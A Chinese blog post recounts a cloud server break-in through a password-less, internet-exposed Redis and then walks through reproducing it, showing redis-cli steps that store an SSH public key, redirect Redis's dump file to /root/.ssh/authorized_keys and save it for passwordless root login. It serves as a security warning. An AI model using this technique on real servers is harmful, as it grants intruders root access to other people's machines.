服务器被黑，帮凶竟然是Redis
一、經過
就在昨天，我像往常一樣連接到一臺云服務器中的Redis進行學習，當我執行keys *查看所有鍵的時候，卻發現返回了(empty array)，也就是代表沒有任何數據在Redis中，可是Redis我也并沒有手動停止過（沒配置過持久化，也就是重啟后數據就會消失），也保證沒有執行過flushdb清空數據，可數據怎么就沒了呢？這讓我很是好奇。
這沒理由啊，后來在我的/usr/app目錄下發現了一個readme.txt。
我記得我并沒有創建過這個文件，于是通過vim打開他，此時我一臉小朋友問號。
讓黑了？？？
這是我的第一反應，因為這個文件真的不是我創建的，但是我并沒有相關經驗去排查，一時間不知如何是好，但是要摸索啊。
仔細一想，要創建此文件，我知道的有三種辦法，第一種，通過ssh連接到我的服務器，進入/usr/app，執行touch readme.txt，然后通過vim進行編輯，第二種，通過scp命令上傳，第三種，通過第三方工具連接到我的服務器進行上傳，如XFtp、FileZilla，但是這三種，都需要密碼，但是我的密碼也足夠復雜，不太可能。
緊接著我通過last 命令查看最近用戶的登錄信息，結果發現，在前天晚上22:15確實有人登錄過，也就是6月1日，共操作了18分鐘，進行了不可描述的事情。
root@iZbp1brrrx37m2ijwcg751Z:~# last root pts/1 120.193.XX.XX Wed Jun 3 09:11 still logged in root pts/1 120.193.XX.XX Wed Jun 3 09:09 - 09:10 (00:00) root pts/2 120.193.XX.XX Wed Jun 3 08:41 - 08:41 (00:00) ......root pts/0 101.206.XX.XX Mon Jun 1 22:15 - 22:33 (00:18)那他是怎么知道我密碼的呢？于是又通過lastb命令查看登入系統失敗用戶的相關信息，但是從這個列表中并沒有發現在6月1有嘗試登錄的用戶。這就更好奇了，這是一次性把密碼輸對了？沒道理啊。
接著我腦子有點蒙。
但是突然想到ssh還可以使用公鑰進行登錄，那在目錄/root/.ssh/authorized_keys中必然有他生成的公鑰信息，接著趕緊去查看了一下。
這一看不知道，看了就頭皮發麻，確實存在一個，這樣他就可以直接通過ssh root@XX.XX.XX.XX免密碼登錄，但是他是怎么把公鑰放入到authorized_keys文件的呢？
牛！！！
二、原因
后來排查了我對外開發的端口，除了80端口，供Nginx使用，還有就是Redis的6379，Nginx也不太可能啊，莫非是Redis？
由于Redis我并沒有設置密碼，只要知道我服務器IP的人，都可以進行連接。那Redis有什么辦法可以把他的公鑰保存到authorized_keys文件中呢？這又是一個問題。
突然想到save命令，他可以生成一個文件，文件中是當前內存中的數據快照，并且，這個文件可以自定義名稱，恩～～～有點眉目了。但是save后生成的文件路徑并不在/root/.ssh下啊，并且Redis也沒有命令可以移動文件，除非Redis可以指定生成的路徑。
對，沒錯！！Redis當然可以指定生成的路徑，當即就查看了下Redis的配置。
沒想到頭皮又一陣發麻，這兩個配置確實被改過。
那是不是這樣呢？首先入侵者通過連接到Redis，之后set key 公鑰，接著通過config命令修改了dir和dbfilename的值，save命令保存后，通過ssh命令直接可以免密碼登錄，之后他分析了我常用的目錄，發現/usr/app下有我經常上傳的軟件，通過touch、vim進行編輯txt，留下一句，我輕輕的來，又輕輕的走了，希望真的是輕輕的走了，沒搞什么吧。
這一頓操作著實騷氣。
三、實戰演練
既然知道了作案手法，那就來驗證一下，是不是這樣。
首先服務器中的Redis得開啟，并且對外開放6379這個端口。
通過./redis-cli -h ip連接到Redis
此時通過save命令即可在/root/.ssh下生成authorized_keys文件。
可以通過ssh-keygen命令 生成，運行后連續三次回車即可。
之后在/root/.ssh/目錄下就會生成兩個文件id_rsa和id_rsa.pub，第一個是私鑰，第二個是公鑰。id_rsa.pub中的數據就是要保存在Redis中的數據。
root@hxl-PC:/home/HouXinLin/apps/redis# cd /root/.ssh/ root@hxl-PC:~/.ssh# ls id_rsa id_rsa.pub known_hosts root@hxl-PC:~/.ssh#但是此時還有最重要的一步，在id_rsa.pub文件中前面加兩個空行！！！。
6. 利用Redis把公鑰保存到authorized_keys中
由于公鑰中包含空格，不可以直接使用set key 公鑰進行設置，可以通過以下方式進行
最后一步，保存。
xx.xx.xx.xx:6379> get cer "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcJFbioqs97WvFFoC3g1LECDII+IK6fWwSDQpr26itOSsnh6d2b4LDt66b6IU6EbbsXtTBuV/QrjdDFyFWPDlFSobDQNUW6K9iY47WqG37sR9XknYtXpTIniHazbH6prloa2qJpI/tHyoXnJi5gq8G3qCWtNrleVqaX0zDgWN+1mZlGmUc/FqhCWiGHeOWr01x7AFtp1UzYiJyMDQo4V1yHnXqE2JaJKwXU1jVwfYuS94qeB1Vcxn75dGQSroS3+h2UyvrArkE4WRF8JphQrvk6KtWNHN1VCKGQ57Unj67+jS/FQOV3CFygDMHZkEPJ1XHmMA0crXRo22TPYd6FOiN root@hxl-PC\n" xx.xx.xx.xx:6379> save OK此時無需要密碼，連接后可以”為所欲為“。
沒想到服務器就這樣被黑了吧？對外開發的東西一定要小心，不說了，改Redis密碼去。
以上純屬虛構，如有雷同，純屬巧合。
總結
以上是生活随笔為你收集整理的服务器被黑，帮凶竟然是Redis的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： react+antd表格操作列加Drop
- 下一篇： pgpool介绍